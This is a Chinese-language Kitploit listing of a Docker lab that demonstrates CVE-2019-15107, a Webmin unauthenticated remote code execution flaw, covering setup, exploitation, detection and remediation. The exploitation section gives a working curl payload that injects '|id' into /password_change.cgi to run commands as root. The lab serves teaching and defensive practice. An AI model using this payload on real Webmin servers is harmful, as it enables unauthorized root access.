Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2019-15107-lab — 基于Docker的实验室,演示CVE-2019-15107,即Webmin未认证RCE漏洞,涵盖部署、利用、检测和修复。 | Kitploit
工具/GitHubGitHub/shambhavim18/cve-2019-15107-lab
防御工具容器安全漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubshambhavim18/cve-2019-15107-lab

cve-2019-15107-lab

基于Docker的实验室,演示CVE-2019-15107,即Webmin未认证RCE漏洞,涵盖部署、利用、检测和修复。

查看仓库
8小时51分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-15107 – Webmin 未授权 RCE 实验环境

1. 项目概述

本项目在受控且隔离的 Docker 环境中演示了 CVE-2019-15107,这是 Webmin 中的一个严重远程代码执行(RCE)漏洞。该实验环境涵盖了从部署、利用到检测和修复的完整漏洞生命周期。

2. 先决条件与环境要求

先决条件-

1.Docker Desktop(已安装并正在运行)
2.Docker Compose
3.支持 curl.exe 的终端 / PowerShell

环境要求操作系统:Windows / Linux / mac-

1.操作系统(本地主机环境)

2.端口可用性:主机上的端口 10000 必须空闲。

3. 存在漏洞的应用程序与版本

1.应用程序:Webmin
2.存在漏洞的版本:1.910(受影响版本:1.880 至 1.920)
3.已修复/已打补丁的版本:1.930 及以上
4.漏洞类型:操作系统命令中使用的特殊元素的不当中和(CWE-78)
5.CVSS 评分:9.8(严重)

4. 安装与设置步骤

1.将此项目仓库克隆或下载到本地计算机。

2.打开终端并导航到包含 docker-compose.yml 的项目目录。

3.确保 Docker Desktop 在您的系统上处于活动状态。

5. 如何启动和停止实验环境

如何启动实验环境-

从项目根目录运行以下命令,以分离模式拉取并启动存在漏洞的容器: docker-compose up -d

您可以通过运行以下命令来验证容器状态: docker compose ps

在 Web 浏览器中访问应用程序界面:https://localhost:10000(接受本地 SSL 证书警告)。

如何停止实验环境-

要停止并移除正在运行的容器环境,请运行: docker-compose down

6. 如何利用该漏洞

该漏洞存在于未授权的密码更改端点(/password_change.cgi)中,其中输入参数未经适当清理就被直接传递给系统 shell。

在终端(PowerShell/Bash)中运行以下命令,以执行诊断命令(id)作为概念验证:

curl.exe -k https://localhost:10000/password_change.cgi -e "https://localhost:10000" -d "user=root&pam=&old=test|id&new1=test&new2=test"

7. 预期结果

成功利用:服务器处理注入的管道字符(|),触发具有 root 权限的未授权命令执行。终端将输出 HTML 响应证据以及容器 shell 反馈(uid=0(root)),确认远程代码执行成功。

8. 如何运行检测机制针对此漏洞的检测可以通过以下方式执行:

1.版本识别:检查正在运行的 Webmin 实例版本,以验证其是否处于受影响范围内(1.880 至 1.920)。

2.网络 / 日志监控:检查 Web 服务器访问日志或 WAF 日志,查找发往 /password_change.cgi 且参数值中包含可疑 shell 控制字符(如 | 或 ;)的传入 HTTP POST 请求。

9. 修复

要缓解并解决 CVE-2019-15107:

1.升级:将 Webmin 升级到 1.930 或更高版本,该版本会正确清理传递给底层模块的输入。

2.访问控制:使用防火墙或 VPN 隧道限制对端口 10000 的网络访问,以防止直接暴露于不受信任的网络。

10. 故障排除说明

1.Docker 守护进程未运行:如果遇到连接错误,请确保 Docker Desktop 已完全启动,并使用 docker version 进行验证。

2.端口冲突(10000 已被占用):确保没有其他本地应用程序或服务占用端口 10000。

3.PowerShell curl 语法错误:在 Windows PowerShell 中使用 curl.exe 而不是标准 curl,以避免 PowerShell 内置 Invoke-WebRequest 别名带来的参数映射问题。

下载工具